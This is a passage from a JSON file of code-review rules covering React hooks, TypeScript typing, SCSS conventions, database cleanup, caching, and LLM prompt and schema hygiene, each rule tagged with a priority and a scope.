P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Type a constant array explicitly rather than asserting with as const","rule":"Prefer an explicit array type annotation over an `as const` assertion when you want a typed, immutable list.","apiRule":"Prefer an explicit array type annotation over an `as const` assertion when you want a typed, immutable list. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Document non-obvious calculations and offsets with a short comment","rule":"Add a brief comment explaining what a magic calculation or +1 offset represents so reviewers can follow it.","apiRule":"Add a brief comment explaining what a magic calculation or +1 offset represents so reviewers can follow it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Re-sync state initialized from a count/length when that count changes","rule":"State seeded from a prop's length only runs its initializer once; re-sync it in an effect if the source count can change after mount.","apiRule":"State seeded from a prop's length only runs its initializer once; re-sync it in an effect if the source count can change after mount. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't use template literals for plain static strings","rule":"Use regular string literals when there is no interpolation; reserve template strings for actual substitution.","apiRule":"Use regular string literals when there is no interpolation; reserve template strings for actual substitution. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Model a hook's re-run trigger as a deps array, not an ad-hoc resetKey","rule":"When a custom hook needs to re-run on changes, accept a dependency list like built-in hooks instead of a bespoke resetKey prop.","apiRule":"When a custom hook needs to re-run on changes, accept a dependency list like built-in hooks instead of a bespoke resetKey prop. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep configuration data in the dedicated config folder","rule":"Configuration constants (provider lists, feature toggles) belong in the config directory, not scattered in views or a deprecated globals folder.","apiRule":"Configuration constants (provider lists, feature toggles) belong in the config directory, not scattered in views or a deprecated globals folder. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Match the codebase's file naming/casing convention","rule":"New files should follow the existing casing pattern (e.g. PdfReader.helpers.ts, not PDFReader.helpers.ts) for consistency.","apiRule":"New files should follow the existing casing pattern (e.g. PdfReader.helpers.ts, not PDFReader.helpers.ts) for consistency. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Define SVG icons as reusable components, not inline SVG in helpers","rule":"Place icons as standard FC<SVGProps> components in the icons folder with size/color passthrough rather than hardcoding inline SVG.","apiRule":"Place icons as standard FC<SVGProps> components in the icons folder with size/color passthrough rather than hardcoding inline SVG. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Provide translations for every locale key, not just some","rule":"When adding i18n keys, supply the value in every supported locale so users don't see fallback English on translated screens.","apiRule":"When adding i18n keys, supply the value in every supported locale so users don't see fallback English on translated screens. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Surface validation error messages, not just an error state","rule":"Return a message from validators and render it (e.g. helperText) so users see why a field is invalid, not just a red border.","apiRule":"Return a message from validators and render it (e.g. helperText) so users see why a field is invalid, not just a red border. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Validate required input before advancing a multi-step flow","rule":"Run validation at the step that owns the input so errors surface next to the fields, not behind a later dialog.","apiRule":"Run validation at the step that owns the input so errors surface next to the fields, not behind a later dialog. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Reset dialog/modal open state on every terminal path","rule":"A modal opened before an async action must be explicitly closed (or kept open with an inline error) on both success and failure, not left depending on an unmount.","apiRule":"A modal opened before an async action must be explicitly closed (or kept open with an inline error) on both success and failure, not left depending on an unmount. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Read shared state from context instead of prop-drilling","rule":"If a component already has access to a context, read values from it rather than threading the same props through many layers.","apiRule":"If a component already has access to a context, read values from it rather than threading the same props through many layers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid multiple effects with overlapping deps that can fire together","rule":"When several effects share dependencies, ensure they don't unintentionally trigger simultaneously and conflict.","apiRule":"When several effects share dependencies, ensure they don't unintentionally trigger simultaneously and conflict. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Omit refs and state setters from effect/callback dependency arrays","rule":"Refs and setState functions are stable across renders, so they don't belong in dependency arrays.","apiRule":"Refs and setState functions are stable across renders, so they don't belong in dependency arrays. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Give components specific, unambiguous names","rule":"Avoid generic component names that could collide in meaning; name by the concrete thing the component represents.","apiRule":"Avoid generic component names that could collide in meaning; name by the concrete thing the component represents. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name CSS animations independently of the class that uses them","rule":"Keyframe animation names should describe the motion, not be coupled to a single class name.","apiRule":"Keyframe animation names should describe the motion, not be coupled to a single class name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Nest related CSS selectors and extract shared rules into a base class","rule":"When classes share most of their declarations, nest variants and extend a common base instead of repeating the rules.","apiRule":"When classes share most of their declarations, nest variants and extend a common base instead of repeating the rules. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Name the root element class of a SCSS module `container`","rule":"Each SCSS module should expose a consistently named root class (e.g. .container) for the component's top-level element.","apiRule":"Each SCSS module should expose a consistently named root class (e.g. .container) for the component's top-level element. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Don't hardcode pixel values in styles; use the rem conversion helper or system sizes","rule":"Convert hardcoded pixels to rems via the project's pxToRem/rem-calc helper or use system size tokens.","apiRule":"Convert hardcoded pixels to rems via the project's pxToRem/rem-calc helper or use system size tokens. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid two props that mean the same thing","rule":"Don't expose two callbacks/props with overlapping meaning (e.g. onSubmit and onAfterSubmit); collapse to one clear prop.","apiRule":"Don't expose two callbacks/props with overlapping meaning (e.g. onSubmit and onAfterSubmit); collapse to one clear prop. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove the old package manager's lockfile after migrating package managers","rule":"After switching package managers, delete the obsolete lockfile so only the new manager's manifest and lockfile remain.","apiRule":"After switching package managers, delete the obsolete lockfile so only the new manager's manifest and lockfile remain. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Write actions generically so they can be reused across features","rule":"Prefer a parameterized, generic action (e.g. filter users) that multiple screens can share over a one-off action tied to a single page.","apiRule":"Prefer a parameterized, generic action (e.g. filter users) that multiple screens can share over a one-off action tied to a single page. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Choose modal mount-vs-isOpen strategy based on desired state lifecycle","rule":"Decide consciously between conditional-render (fresh state each open) and an isOpen prop (modal controls its own state); pick per whether you want a clean slate.","apiRule":"Decide consciously between conditional-render (fresh state each open) and an isOpen prop (modal controls its own state); pick per whether you want a clean slate. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Fix spelling errors in prompt text given to the model","rule":"Typos in instruction text sent to an LLM reduce prompt quality and add ambiguity; correct them.","apiRule":"Typos in instruction text sent to an LLM reduce prompt quality and add ambiguity; correct them. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't pass a Set across a serialization boundary; use an array","rule":"A Set serializes to {} over server-action/JSON boundaries; pass an array (or object) for membership checks that must cross the wire.","apiRule":"A Set serializes to {} over server-action/JSON boundaries; pass an array (or object) for membership checks that must cross the wire. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Apply the shared scrollbar class to scrollable containers","rule":"Scrollable areas should use the project's shared scrollbar utility class so scrollbars match the rest of the app.","apiRule":"Scrollable areas should use the project's shared scrollbar utility class so scrollbars match the rest of the app. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use the shared Spacer component for layout gaps","rule":"Use the project's Spacer component for spacing/flex-fill rather than ad-hoc empty divs or margin hacks.","apiRule":"Use the project's Spacer component for spacing/flex-fill rather than ad-hoc empty divs or margin hacks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Document why a referentially-stable value is in (or out of) a dep array","rule":"For stable values like the router, either omit them with a lint-disable comment explaining why, or keep them with a comment; don't leave the reader guessing.","apiRule":"For stable values like the router, either omit them with a lint-disable comment explaining why, or keep them with a comment; don't leave the reader guessing. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Stub unimplemented actions with a clear placeholder, not silent no-ops","rule":"An action not yet wired up should give explicit feedback (a placeholder alert/toast) rather than doing nothing or being left as dead code.","apiRule":"An action not yet wired up should give explicit feedback (a placeholder alert/toast) rather than doing nothing or being left as dead code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Persist an expensive computation instead of recomputing it client-side every render","rule":"If the server already runs an expensive algorithm (e.g. diff/LCS) and stores the result, store the derived fields too rather than recomputing them on every client render.","apiRule":"If the server already runs an expensive algorithm (e.g. diff/LCS) and stores the result, store the derived fields too rather than recomputing them on every client render. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Rename generic query/mutation state to domain-specific names","rule":"Alias React Query's generic isPending/mutate to domain names (isSearchPending, search) when multiple queries coexist, for clarity at call sites.","apiRule":"Alias React Query's generic isPending/mutate to domain names (isSearchPending, search) when multiple queries coexist, for clarity at call sites. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Never DROP an entire table in routine cleanup code","rule":"Cleanup/checkpoint logic should delete only the targeted rows, never drop the whole table.","apiRule":"Cleanup/checkpoint logic should delete only the targeted rows, never drop the whole table. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Route file deletion/IO through a service so DB and storage stay consistent","rule":"Deleting a stored file should go through a service that removes both the storage object and the DB record, not just unlink the disk file in the handler.","apiRule":"Deleting a stored file should go through a service that removes both the storage object and the DB record, not just unlink the disk file in the handler. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Replace mode-to-string conditionals with a typed Record lookup","rule":"Map a small fixed set of keys to values via a typed Record instead of a function full of if/switch branches.","apiRule":"Map a small fixed set of keys to values via a typed Record instead of a function full of if/switch branches. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Fetch modal data on the modal's mount, not on the button that opens it","rule":"Move data fetching into the modal so it loads when the modal mounts, instead of triggering the fetch from the opening button in the parent.","apiRule":"Move data fetching into the modal so it loads when the modal mounts, instead of triggering the fetch from the opening button in the parent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use React Query hooks for server data instead of manual fetch-in-handler","rule":"Fetch/mutate server state through useQuery/useMutation hooks rather than ad-hoc fetches in click handlers, so caching, loading and error states are handled consistently.","apiRule":"Fetch/mutate server state through useQuery/useMutation hooks rather than ad-hoc fetches in click handlers, so caching, loading and error states are handled consistently. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Keep database migrations in their own PR","rule":"Schema migrations should be split into a dedicated PR/branch rather than bundled with feature work, so they can be reviewed and rolled out independently.","apiRule":"Schema migrations should be split into a dedicated PR/branch rather than bundled with feature work, so they can be reviewed and rolled out independently. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use an existing debounce hook instead of hand-rolled timers in components","rule":"For debounced effects like autosave, reuse the project's useDebounce hook (or extract one) rather than managing setTimeout/clearTimeout inline.","apiRule":"For debounced effects like autosave, reuse the project's useDebounce hook (or extract one) rather than managing setTimeout/clearTimeout inline. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Update call assertions when a function signature changes","rule":"When a function gains a parameter, its toHaveBeenCalledWith assertions must include the new argument or the test fails on a stale arity.","apiRule":"When a function gains a parameter, its toHaveBeenCalledWith assertions must include the new argument or the test fails on a stale arity. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make test fixtures match the environment-dependent config they run under","rule":"Test data must use values valid for the environment the tests actually run in (e.g. dev categories under NODE_ENV=test), or stub the env, instead of hardcoding production-only values.","apiRule":"Test data must use values valid for the environment the tests actually run in (e.g. dev categories under NODE_ENV=test), or stub the env, instead of hardcoding production-only values. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep validation constraints consistent with what the LLM is told to produce","rule":"If a schema caps a field length, the prompt must instruct the model to stay within that cap; otherwise valid model output fails parsing.","apiRule":"If a schema caps a field length, the prompt must instruct the model to stay within that cap; otherwise valid model output fails parsing. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Sanitize dynamic text before embedding it in an XML CDATA section","rule":"Text placed inside a CDATA block must have the terminator ]]> escaped/split, or untrusted/AI content can produce invalid XML and break the consumer.","apiRule":"Text placed inside a CDATA block must have the terminator ]]> escaped/split, or untrusted/AI content can produce invalid XML and break the consumer. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Make non-essential structured-output fields optional in the schema","rule":"Don't mark an LLM structured-output field required if its absence shouldn't fail the whole call; a missing optional field shouldn't discard the rest of the result.","apiRule":"Don't mark an LLM structured-output field required if its absence shouldn't fail the whole call; a missing optional field shouldn't discard the rest of the result. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Make insert-if-not-exists operations idempotent with ON CONFLICT DO NOTHING","rule":"Inserts protected by a unique constraint should use conflict-do-nothing so retries/double-clicks don't surface errors when the desired state already holds.","apiRule":"Inserts protected by a unique constraint should use conflict-do-nothing so retries/double-clicks don't surface errors when the desired state already holds. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Reserve the leading-underscore name prefix for intentionally unused bindings","rule":"Do not prefix used variables/params with an underscore; the underscore convention signals 'intentionally unused' to linters and readers.","apiRule":"Do not prefix used variables/params with an underscore; the underscore convention signals 'intentionally unused' to linters and readers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Gate an action button behind the same condition that enables its destination","rule":"A button that navigates to a feature must be hidden when that feature is disabled, otherwise clicking it leads nowhere.","apiRule":"A button that navigates to a feature must be hidden when that feature is disabled, otherwise clicking it leads nowhere. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Delimit user content from instructions in LLM prompts","rule":"When appending instructions around user-provided text, use explicit delimiters or a separate system message so the model can't conflate instructions with the content to process.","apiRule":"When appending instructions around user-provided text, use explicit delimiters or a separate system message so the model can't conflate instructions with the content to process. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Cache or pass through feature-flag values instead of a DB lookup per request","rule":"A flag checked on every request should be cached (short TTL) or resolved once and passed through the call chain, not re-fetched from the DB each invocation.","apiRule":"A flag checked on every request should be cached (short TTL) or resolved once and passed through the call chain, not re-fetched from the DB each invocation. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Type useParams generically instead of runtime-narrowing","rule":"Pass the param shape to useParams<T>() so you avoid Array.isArray narrowing or as-casts for known route params.","apiRule":"Pass the param shape to useParams<T>() so you avoid Array.isArray narrowing or as-casts for known route params. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Prefix intentionally unused destructured vars with underscore","rule":"Mark a value destructured only to omit it (rest spread) with a leading underscore instead of a disable comment.","apiRule":"Mark a value destructured only to omit it (rest spread) with a leading underscore instead of a disable comment. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set displayName on HOC-wrapped components for DevTools","rule":"Give a higher-order-component wrapper a displayName reflecting the wrapped component so DevTools shows a useful name.","apiRule":"Give a higher-order-component wrapper a displayName reflecting the wrapped component so DevTools shows a useful name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Toggle desktop/mobile variants with CSS, not a JS isMobile branch","rule":"For purely presentational variants, render both and show/hide via CSS to avoid a post-mount hydration flash.","apiRule":"For purely presentational variants, render both and show/hide via CSS to avoid a post-mount hydration flash. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use null as createContext default so the missing-provider guard works","rule":"Default a context to null so a !context check can actually catch usage outside its provider instead of being dead code.","apiRule":"Default a context to null so a !context check can actually catch usage outside its provider instead of being dead code. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Name context-consuming hooks consistently (useXCtx)","rule":"Give hooks that read a specific context a consistent suffixed name so their purpose is obvious.","apiRule":"Give hooks that read a specific context a consistent suffixed name so their purpose is obvious. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Don't add role=button to a non-interactive wrapper","rule":"A div used only for click-delegation/analytics shouldn't get button semantics it can't fulfill for keyboard users.","apiRule":"A div used only for click-delegation/analytics shouldn't get button semantics it can't fulfill for keyboard users. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Nest SCSS and shorten child class names under their parent","rule":"Use SCSS nesting so child selectors can drop the parent prefix (.info instead of .instrumentInfo).","apiRule":"Use SCSS nesting so child selectors can drop the parent prefix (.info instead of .instrumentInfo). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Apply styles through a class, not by targeting raw elements","rule":"Append styles to a className rather than to bare element selectors to prevent specificity conflicts.","apiRule":"Append styles to a className rather than to bare element selectors to prevent specificity conflicts. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't repeat 'use client' on children of a client component","rule":"A component rendered as a child of a client component is already client; the directive is redundant.","apiRule":"A component rendered as a child of a client component is already client; the directive is redundant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't skip a confirmation step when its data helper fails","rule":"If the function building confirmation data returns null/throws, abort or show a fallback — never silently proceed with the destructive action.","apiRule":"If the function building confirmation data returns null/throws, abort or show a fallback — never silently proceed with the destructive action. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Invalidate cached data when the underlying data is mutated","rule":"Clear or update any client-side cache entry after a remove/add so stale values aren't served back.","apiRule":"Clear or update any client-side cache entry after a remove/add so stale values aren't served back. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Avoid non-null assertions; fall back with ?? instead","rule":"Replace the ! non-null assertion with a real fallback (??) or proper guard so a miss doesn't crash downstream.","apiRule":"Replace the ! non-null assertion with a real fallback (??) or proper guard so a miss doesn't crash downstream. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use inclusive comparison at boundary conditions to avoid edge bugs","rule":"When equal values must trigger the action (e.g. element exactly fills available width), use <= rather than <.","apiRule":"When equal values must trigger the action (e.g. element exactly fills available width), use <= rather than <. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use one consistent idiom for filtering arrays in a 